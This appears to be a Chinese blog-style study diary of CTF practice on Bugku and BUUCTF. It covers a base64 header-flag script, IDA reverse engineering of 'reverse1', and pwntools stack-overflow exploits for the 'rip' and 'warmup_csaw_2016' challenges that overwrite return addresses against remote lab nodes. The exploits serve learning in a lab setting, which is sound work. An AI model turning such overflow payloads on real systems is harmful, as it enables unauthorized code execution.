2021/11/04-学习日记

1.Bugku刷题

速度要快

import requests
import base64

ctf=requests.Session()
source=ctf.get("http://114.67.246.176:16332/")
flag1=source.headers['flag']
flag2=str(base64.decodebytes(flag1.encode('utf-8')))[-9:-1]
flag3=str(base64.decodebytes(flag2.encode('utf-8')))[-7:-1]
print(ctf.post("http://114.67.246.176:16332/",data={'margin':flag3}).text)

base64解码那块处理得不够好。

2.BUUCTF刷题

reverse1

IDA中查看文件,shift+F12查看数据。


2-1

双击查看"this is the right flag"。


2-2

双击查看数据交叉引用,F5查看伪代码。
2-3

通过这一段伪代码可以知道程序的基本逻辑。str1是输入,str2是正确的flag。查看程序流程图,找一下对str2的操作。


2-4

这条逻辑线就是对str2的操作,选定块后F5查看代码。
2-5

str2的初始值为{hello_world},之后在程序中对其进行操作,将o(0x6F)换成0(0x30)。所以正确的flag就是flag{hell0_w0rld}。

rip

先看主函数的伪代码。


2-6

这段代码中不涉及其他的函数,且字符数组s的长度只有15,所以这道题的解题思路应当是通过栈溢出,使用fun函数(addr:401186)的地址覆盖之后的内存空间,从而执行fun函数,得到flag。

//python3
from pwn import *
ctf=remote('node4.buuoj.cn',27017)#建立连接
payload='a'*15+p64(0x401186).decode('unicode_escape')
flag=str.encode(payload)
ctf.sendline(flag)
ctf.interactive()

但是返回

timeout: the monitored command dumped core

看了buuctf的Q&A
将程序改为

//python3
from pwn import *
ctf=remote('node4.buuoj.cn',27017)#建立连接
payload="a" * 22+p64(0x401187).decode('unicode_escape')
//这个22是一个一个试出来的,有没有快捷方法我不清楚。
flag=str.encode(payload)
ctf.sendline(flag)
ctf.interactive()

然后直接cat /flag。

warmup_csaw_2016

2-7

查看交叉引用。


2-8

我们需要让程序执行这段代码(addr:0x40060D),但是主函数中没有到这里的跳转,应该又是个栈溢出。

//python3
from pwn import *
ctf=remote('node4.buuoj.cn',28688)#建立连接
payload="a" * (0x40+8)+p64(0x40060D).decode('unicode_escape')
//v5长度为0x40,再加8个字节返回地址
flag=str.encode(payload)
ctf.sendline(flag)
ctf.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容